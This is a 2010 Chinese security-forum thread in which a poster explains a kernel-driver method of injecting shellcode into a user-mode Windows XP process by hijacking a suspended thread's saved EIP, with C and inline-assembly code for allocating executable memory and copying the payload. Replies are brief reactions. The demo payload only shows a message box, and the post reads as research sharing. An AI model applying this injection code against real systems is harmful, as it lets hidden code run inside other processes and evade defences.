微点交流论坛
» 游客:  注册 | 登录 | 帮助

 

作者:
标题: ring0注入ring3的一种新方法
理想未来
禁止发言





积分 386
发帖 382
注册 2008-12-10
#1  ring0注入ring3的一种新方法

插APC越来越不好使了,想到了一种新的方法,实践了一下,发出来与大家分享。

其实要注入ring3的进程,本质上只是想要借用该进程中的某一个线程来执行一段其它代码而已,再透彻一点讲只是要借用一下某个线程的eip来暂时指向我们想让它执行的代码。当然,用完过后要想办法让eip能回到原位,这样就不会对该ring3线程本身的工作产生干扰。

具体来讲可以这样做:

1、先在要注入的进程中找到一个没有退出的,并且没有被挂起的用户线程。(其实如果找被挂起的还省事一点,就是等的时间长了点,要等它resume过后,注入的代码才会被执行。这里以挂起的为例)

2、挂起该线程。这是为了防止它被调度,因为我们要修改它的EIP。但是KeSuspendThread是没有导出的,需要自己实现。(附件的示例代码中是通过查找特征码来做的)

3、我们先来看一看准备注入到Ring3的代码。在本示例中,我准备注入的代码如下:

代码:
////////////////////////////////////////////////
//
//  被注入到ring3进程的代码
//
////////////////////////////////////////////////
_declspec (naked) void ShellCode() {
  _asm {
    push eax
    // 弹个MessageBox为例
    push 0
    push 0
    push 0
    push 0
    mov eax, 0x77D66484    // MessageBoxW 的地址,XP SP2
    call eax
    pop eax
    // jmp ds:12345678H, 绝对地址跳转
    _emit 0xEA
    _emit 0x78
    _emit 0x56
    _emit 0x34
    _emit 0x12
    _emit 0x1B
    _emit 0x00
  }
}
ShellCode以MessageBoxW(0,0,0,0)为例,代码最后需要有个jmp ds:0x12345678的绝对跳转,这是为了跳回EIP原来的地方。
所以现在要做的就是把0x12345678改成KTHREAD->KTRAP_FRAME->EIP中的值,再把ShellCode拷贝到该Ring3线程能够抚摸到的位置,最后把KTHREAD->KTRAP_FRAME->EIP改成ShellCode被拷贝到的地址。
那么将ShellCode拷贝到什么地方呢?我一开始为了方便,将ShellCode拷贝到了KUSER_SHARED_DATA的后面,这样可以避免申请空间,以及KeStackAttachProcess等麻烦。KUSER_SHARED_DATA所在的地址被同时映射到了内核空间(0xffdf0000)和用户空间(0x7ffe0000)中,大小为4K,但是其实KUSER_SHARED_DATA连1K都没占到,所以可以把ShellCode拷到KUSER_SHARED_DATA的后面,非常理想^_^。
代码片断如下:

代码:
// 将ShellCode中的0x12345678改成eip,为了ShellCode执行完后自动跳回
for( i = (ULONG)ShellCode; i <= (ULONG)ShellCode + 0x20; ++i ) {
  if( MmIsAddressValid((PVOID)i) && MmIsAddressValid((PVOID)(i+3)) ){
    if ( *(PULONG)i == 0x12345678 ) {
      DbgPrint("find modify point\n");
      *(PULONG)i = pTrapFrame->Eip;
      break;
    }
  }
}

// 拷贝ShellCode到“飞地”(使用内核地址)
RtlCopyMemory( (PVOID)0xffdf0800, ShellCode, 0x20 );

// pTrapFrame->EIP指向“飞地”(使用用户态地址)
pTrapFrame->Eip = 0x7ffe0800;
后来发现在非调试模式下,执行KUSER_SHARED_DATA处的代码会导致DEP暴走,遂老老实实地自己分配空间了。
代码片断如下:

代码:
// 将ShellCode中的0x12345678改成eip,为了ShellCode执行完后自动跳回
for( i = (ULONG)ShellCode; i <= (ULONG)ShellCode + 0x20; ++i ) {
  if( MmIsAddressValid((PVOID)i) && MmIsAddressValid((PVOID)(i+3)) ){
    if ( *(PULONG)i == 0x12345678 ) {
      DbgPrint("find modify point\n");
      *(PULONG)i = pTrapFrame->Eip;
      break;
    }
  }
}

// 下面的代码是分配空间来放置ShellCode
// 调用一些相应函数来实现更好,我比较懒,就硬编码了
InitializeObjectAttributes(&oa,0,0,0,0);
pCid = (CLIENT_ID*)((ULONG)pThread + 0x1ec);    // Cid   XP SP2
ntstatus = ZwOpenProcess(
  &hProcess,
  PROCESS_ALL_ACCESS,
  &oa,
  pCid
  );
if ( NT_SUCCESS(ntstatus) ) {
  PVOID pBuff = NULL;
  SIZE_T size = 0x20;
  ntstatus = NtAllocateVirtualMemory(
    hProcess,
    &pBuff,
    0,
    &size,
    MEM_RESERVE | MEM_COMMIT,
    PAGE_EXECUTE_READWRITE
    );
  if( NT_SUCCESS(ntstatus) ) {
    KAPC_STATE kapc;
    // 拷贝ShellCode到目标进程中去
    KeStackAttachProcess(pProcess,&kapc);
    RtlCopyMemory(pBuff,ShellCode,size);
    KeUnstackDetachProcess (&kapc);
    // pTrapFrame->Eip指向ShellCode
    pTrapFrame->Eip = (ULONG)pBuff;
  }
  ZwClose(hProcess);
}
4、KeRusumeThread,恢复该线程的执行,于是该线程会先去执行ShellCode。

以下是注入扫雷的截图

完整示例代码见附件(测试平台XP SP2)。

下载地址:http://www.brsbox.com/filebox/do ... 9b943a832f40b40bcd7

附件 1: InjectRing3.JPG (2010-1-20 07:39, 24.18 K,下载次数: 20)


※ ※ ※ 本文纯属【理想未来】个人意见,与【 微点交流论坛 】立场无关※ ※ ※
2010-1-20 07:39
查看资料  发送邮件  发短消息   编辑帖子
坐照
银牌会员

正式版用户


积分 1426
发帖 1422
注册 2009-3-24
来自 湖北宜都
#2  

看着眼晕

※ ※ ※ 本文纯属【坐照】个人意见,与【 微点交流论坛 】立场无关※ ※ ※
2010-1-20 10:58
查看资料  发短消息  QQ   编辑帖子
lucy127
高级用户




积分 850
发帖 843
注册 2009-4-15
来自 广西南宁
#3  

好想学RING0的东西啊。

※ ※ ※ 本文纯属【lucy127】个人意见,与【 微点交流论坛 】立场无关※ ※ ※

有微点,没危险
2010-1-20 12:29
查看资料  发送邮件  发短消息  QQ   编辑帖子
786314476
注册用户





积分 61
发帖 61
注册 2009-3-16
#4  

微点要重视啊!谢谢楼主分享,学习了。

※ ※ ※ 本文纯属【786314476】个人意见,与【 微点交流论坛 】立场无关※ ※ ※
2010-1-20 12:54
查看资料  发送邮件  发短消息   编辑帖子



论坛跳转:

可打印版本 | 推荐 | 订阅 | 收藏


[ 联系我们 - 东方微点 ]


北京东方微点信息技术有限责任公司 福建东方微点信息安全有限责任公司

闽ICP备05030815号